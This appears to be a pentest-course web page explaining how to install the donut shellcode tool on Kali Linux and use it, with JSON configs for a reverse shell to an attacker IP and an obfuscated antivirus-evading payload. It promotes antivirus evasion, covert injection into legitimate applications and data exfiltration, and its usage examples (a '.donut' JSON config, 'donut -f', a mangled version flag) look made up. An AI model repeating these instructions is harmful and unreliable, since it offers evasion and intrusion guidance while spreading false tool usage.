Pablo Guides

# Introduction to Donut-Shellcode for Ethical Hacking

In this section of our comprehensive pentest course, we will be diving deep into **donut-shellcode**, a versatile tool that aids ethical hackers in the development of shellcode. We will cover the installation and configuration on Kali Linux, provide step-by-step usage instructions, and explore real-world use cases. Through detailed technical explanations and code examples, you will gain a solid understanding of how to effectively utilize donut-shellcode in your pentesting toolkit.

## What is Donut-Shellcode?

Donut-shellcode is a sophisticated tool designed for the development of shellcode in a wide variety of environments. It allows pentesters and ethical hackers to create their own shellcode that can be injected into remote applications or executed within the context of local processes. This tool is especially useful when you need to circumvent traditional security mechanisms, making it a valuable asset in the arsenal of cybersecurity professionals.

## Installation and Configuration on Kali Linux

First, you will need to have **Kali Linux** installed on your machine. If you haven’t done this yet, you can download it from the [Kali Linux official website](https://www.kali.org/downloads/). Once you have your Kali system up and running, follow these steps to install and configure donut-shellcode.

### Step 1: Update Your System

Before installing any new tools, ensure your system is up to date. Open a terminal and run the following commands:

"`bash
sudo apt update && sudo apt upgrade -y
"`

### Step 2: Install Required Dependencies

Donut-shellcode requires a few dependencies to function correctly. Install them using the command below:

"`bash
sudo apt install git build-essential python3 python3-pip -y
"`

### Step 3: Clone the Donut Repository

Next, you will clone the donut-shellcode GitHub repository to obtain the latest version of the tool. Execute:

"`bash
git clone https://github.com/TheWover/donut.git
"`

### Step 4: Navigate to the Donut Directory

Change your current directory to the donut folder:

"`bash
cd donut
"`

### Step 5: Build Donut

Now, you need to build the tool. Run the following command:

"`bash
make
"`

This command compiles the necessary code and prepares donut for usage.

### Step 6: Install Donut

To install donut globally so you can run it from anywhere in your terminal, use:

"`bash
sudo make install
"`

### Step 7: Verify Installation

To confirm that donut-shellcode is properly installed, check the version:

"`bash
donut –version
"`

You should see the version number of donut if everything was successful.

## Step-by-Step Usage of Donut-Shellcode

Now that we have installed donut-shellcode, let’s explore how to use it effectively. We will go through a basic example and then delve into more complex use cases.

### Basic Usage

The primary function of donut is to create shellcode. You can do this by creating a simple payload. Let’s assume you want to create a reverse shell payload.

#### Example: Creating a Reverse Shell Payload

1. **Create a payload configuration file** – Start by creating a text file named `reverse_shell.donut` containing the following JSON configuration:

"`json
{
"payload": {
"type": "reverse_shell",
"ip": "192.168.1.100",
"port": 4444
}
}
"`

Replace `"192.168.1.100"` with your attacker's IP address and `"4444"` with the desired port number.

2. **Generate the shellcode** – Use the following command to generate the shellcode from the configuration file:

"`bash
donut -f reverse_shell.donut
"`

3. **Execute the shellcode** – The generated shellcode can now be deployed in various contexts, such as in memory or as part of a payload in an exploit.

### Advanced Usage and Real-World Use Cases

In addition to creating simple reverse shells, donut-shellcode can be used in more advanced scenarios, including:

1. **Bypassing Antivirus Software**: By customizing shellcode, you can create payloads that evade detection.
2. **Embedding in Applications**: Use donut-shellcode to inject shellcode into legitimate applications for covert operations.
3. **Post-Exploitation**: Utilize shellcode for privilege escalation or data exfiltration tasks after gaining initial access.

#### Example: Bypassing Antivirus

To demonstrate the ability to bypass detections, you might create a payload with obfuscation techniques. Here’s a simplified example:

1. **Configuration File** – Use a configuration file similar to the one below:

"`json
{
"payload": {
"type": "custom_shell",
"obfuscation": true,
"commands": [
"exec('cmd.exe /c calc.exe')"
]
}
}
"`

2. **Generate and Execute** – Run the donut command to generate the shellcode and execute it in a controlled environment to test its effectiveness against antivirus solutions.

### Detailed Technical Explanation

– **Payload Types**: Donut supports various types of payloads such as reverse shells, bind shells, and custom commands. Understanding the payload structure is crucial for creating effective shellcode.

– **Obfuscation**: One of the powerful features of donut-shellcode is its ability to obfuscate the generated shellcode, making it harder for security solutions to identify malicious patterns.

– **Architecture Support**: Donut supports multiple architectures, including x86 and x64. Ensure that the appropriate architecture is selected based on the target system.

### External References

For further reading and more detailed information on donut-shellcode, consider exploring the following resources:

– [Official Donut GitHub Repository](https://github.com/TheWover/donut)
– [Kali Linux Tools Documentation](https://www.kali.org/tools/)
– [Advanced Shellcode Techniques](https://www.securityfocus.com/columnists/152)

By mastering donut-shellcode, you will enhance your pentesting skills and be better equipped to handle real-world scenarios in cybersecurity.

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**Conclusion**

In this section, you've learned how to install, configure, and use donut-shellcode effectively within Kali Linux. By understanding its capabilities, you can tailor your approach to ethical hacking and exploitation development to suit various environments and objectives.

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Made by pablo rotem / פבלו רותם